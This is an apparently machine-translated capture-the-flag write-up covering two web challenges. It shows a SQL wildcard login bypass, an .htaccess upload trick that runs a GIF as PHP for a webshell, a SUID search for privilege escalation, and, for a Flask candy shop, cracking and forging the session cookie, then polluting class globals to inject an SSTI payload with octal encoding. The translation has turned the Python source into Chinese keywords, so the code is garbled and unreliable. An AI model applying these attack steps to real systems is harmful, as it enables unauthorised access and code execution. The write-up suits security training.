发布于2025年12月5日12月5日 网页 SQLUP 打开问题会给出一个登录页面,并结合SQL 注入的名称猜测 查看源代码,我发现了一个提示,提示开发人员使用模式匹配。 于是我尝试使用%来模糊匹配,登录成功了。 用户名=admin密码=%进入面板后发现有文件上传功能 尝试上传php文件,结果是waf,文件名中不能出现p。 我想到了使用.htaccess文件来解析gif文件到getshell 首先上传.htaccess文件并将1.gif解析为php 文件匹配“1.gif” SetHandler 应用程序/x-httpd-php /文件匹配 然后上传1.gif文件 之后,您可以通过访问uploads/1.gif来获取shell,但您仍然需要提升您的权限以读取该标志。 寻找权限提升命令 find/-perm -u=s -type f 2/dev/null 发现可以使用tac命令 糖果店 源码如下 导入日期时间 从烧瓶导入烧瓶,渲染模板,渲染模板字符串,请求,重定向,url_for,会话,make_response 从wtforms 导入StringField、PasswordField、SubmitField 从wtforms.validators 导入DataRequired、长度 从flask_wtf导入FlaskForm 进口重新 应用程序=烧瓶(__名称__) app.config['SECRET_KEY']='xxxxx xx' 类注册表格(FlaskForm): 用户名=StringField('用户名', validators=[DataRequired(), 长度(min=2, max=20)]) 密码=PasswordField('密码', validators=[DataRequired(), Length(min=6, max=20)]) 提交=SubmitField('注册') 类登录表单(FlaskForm): 用户名=StringField('用户名', validators=[DataRequired(), 长度(min=2, max=20)]) 密码=PasswordField('密码', validators=[DataRequired(), Length(min=6, max=20)]) 提交=SubmitField('登录') Candy: 类 def __init__(自身、名称、图像): self.name=名字 self.image=图像 类User: def __init__(自身,用户名,密码): self.用户名=用户名 self.密码=密码 def verify_password(自身,用户名,密码): return (self.用户名==用户名) (self.密码==密码) 类Admin: def __init__(self): self.用户名='' 自我身份='' def sanitize_inventory_sold(值): return re.sub(r'[a-zA-Z_]', '', str(值)) def 合并(src, dst): 对于src.items(): 中的k、v 如果hasattr(dst, '__getitem__'): 如果dst.get(k) 和type(v)==dict: 合并(v,dst.get(k)) 否则: dst[k]=v elif hasattr(dst, k) 和type(v)==dict: 合并(v,getattr(dst,k)) 否则: setattr(dst, k, v) candies=[Candy(name='Lollipop', image='images/candy1.jpg'), Candy(name='巧克力棒', image='images/candy2.jpg'), 糖果(name='小熊软糖', image='images/candy3.jpg') ] 用户=[] 管理员用户=[] @app.route('/register',methods=['GET', 'POST']) def 寄存器(): 表格=注册表格() 如果form.validate_on_submit(): 用户=用户(用户名=form.用户名.data, 密码=form.password.data) 用户.追加(用户) 返回重定向(url_for('登录')) 返回render_template('register.html', form=form) @app.route('/login',methods=['GET', 'POST']) def 登录(): 表单=登录表单() 如果form.validate_on_submit(): 对于users: 中的您 if u.verify_password(form.username.data, form.password.data): session['用户名']=form.用户名.data 会话['身份']='访客' 返回重定向(url_for('home')) 返回render_template('login.html', form=form) 库存=500 已售出=0 @app.route('/home',methods=['GET', 'POST']) def home(): 全球库存,已售 消息=无 用户名=session.get('用户名') 身份=session.get('身份') 如果不是用户名: 返回重定向(url_for('注册')) 如果已售出=10 并售出500: 已售出=0 库存=500 message='但是你买了太多糖果!' return render_template('home.html', inventory=库存, sell=已售出, message=消息, candies=糖果) 如果request.method=='POST': action=request.form.get('action') 如果动作=='buy_candy': 如果库存0: 库存-=3 已售出+=3 如果库存==0: message='所有糖果都卖完了!' 如果售出=500: 使用open('secret.txt', 'r') 作为file: 消息=文件.read() return render_template('home.html', inventory=库存, sell=已售出, message=消息, candies=糖果) @app.route('/admin', 方法=['GET', 'POST']) def 管理(): 用户名=session.get('用户名') 身份=session.get('身份') 如果不是用户名或身份!='admin': 返回重定向(url_for('注册')) 管理员=管理员() 合并(会话,管理) admin_user.append(管理员) 返回render_template('admin.html', view='index') @app.route('/admin/view_candies', 方法=['GET', 'POST']) def view_candies(): 用户名=session.get('用户名') 身份=session.get('身份') 如果不是用户名或身份!='admin': 返回重定向(url_for('注册')) 返回render_template('admin.html', view='candies', candies=candies) @app.route('/admin/add_candy', 方法=['GET', 'POST']) def add_candy(): 用户名=session.get('用户名') 身份=session.get('身份') 如果不是用户名或身份!='admin': 返回重定向(url_for('注册')) candy_name=request.form.get('name') candy_image=request.form.get('图片') 如果candy_name 和candy_image: new_candy=糖果(名称=candy_name,图像=candy_image) 糖果.append(new_candy) 返回render_template('admin.html', view='add_candy') @app.route('/admin/view_inventory', 方法=['GET', 'POST']) def view_inventory(): 用户名=session.get('用户名') 身份=session.get('身份') 如果不是用户名或身份!='admin': 返回重定向(url_for('注册')) 库存值=sanitize_inventory_sold(库存) 已售价值=sanitize_inventory_sold(已售出) return render_template_string('商店库存:' + inventory_value + '已售出' + sell_value) @app.route('/admin/add_inventory', 方法=['GET', 'POST']) def add_inventory(): 全球库存 用户名=session.get('用户名') 身份=session.get('身份') 如果不是用户名或身份!='admin': 返回重定向(url_for('注册')) if request.form.get('add'): num=request.form.get('add') 库存+=int(num) 返回render_template('admin.html', view='add_inventory') @app.route('/') 定义索引(): 返回render_template('index.html') 如果__name__=='__main__': app.run(调试=False,主机='0.0.0.0',端口=1337) 分解会话密钥得到a123456 烧瓶取消符号-u -c'eyJjc3JmX3Rva2VuIjoiYmI5N2MxMGJhYTlhZTUzZDhiMTQ5NWVkNTVkZjcxNjQ0OTc0NjY4ZiIsIml kZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IjEyMyJ9.Zt0WUA.FitsqnryV6luxUpGkUgwqDK8UDA' 会话解密 ┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master] └─$ python2flask_session_cookie_manager2.py解码-c.eJwNy8EKgCAMAB_2blDqW3Sz4S2LSQ0SDtE9O95ffBe2OqlazsPKbAAT6weoyhNihZn44PGjZwjGxG RrHBwZEYYILGUltrT135LbZ3uKlcJWToFzqnA9wOF2h3A.Zt025A.Z9OU_8Xax0lafOyjFTrx1WJ90qc {'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','身份':'访客','用户名':'admin'} 伪造加密会话 ┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master] └─$ python3flask_session_cookie_manager3.py 编码-s a123456 -t '{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','身份':'admin','用户名':'admin'}' eyJpZGVudGl0eSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.Zt0hvg.ej8rVrvsHOttUQIIMgmE2w0kSto 假冒污染清单 python3flask_session_cookie_manager3.py 编码-s a123456 -t '{'identity':'admin','用户名':'123','__init__':{'__globals__':{'inventory':'{{7*7}}'}}}' 观察源码发现存在原型链污染 @app.route('/admin', 方法=['GET', 'POST']) def 管理(): 用户名=session.get('用户名') 身份=session.get('身份') 如果不是用户名或身份!='admin': 返回重定向(url_for('注册')) 管理员=管理员() 合并(会话,管理) admin_user.append(管理员) 返回render_template('admin.html', view='index') 并发现存在ssti漏洞 @app.route('/admin/view_inventory', 方法=['GET', 'POST']) def view_inventory(): 用户名=session.get('用户名') 身份=session.get('身份') 如果不是用户名或身份!='admin': 返回重定向(url_for('注册')) 库存值=sanitize_inventory_sold(库存) 已售价值=sanitize_inventory_sold(已售出) return render_template_string('商店库存:' + inventory_value + '已售出' + sell_value) 结合原型链污染,我们可以污染全局变量库存导致SSTI {'__init__':{'__globals__':{'库存':'{{7*7}}'}} 但源代码过滤掉了字母和下划线 def sanitize_inventory_sold(值): return re.sub(r'[a-zA-Z_]', '', str(值)) 虽然字母被禁用,但八进制仍然可用
创建帐户或登录后发表意见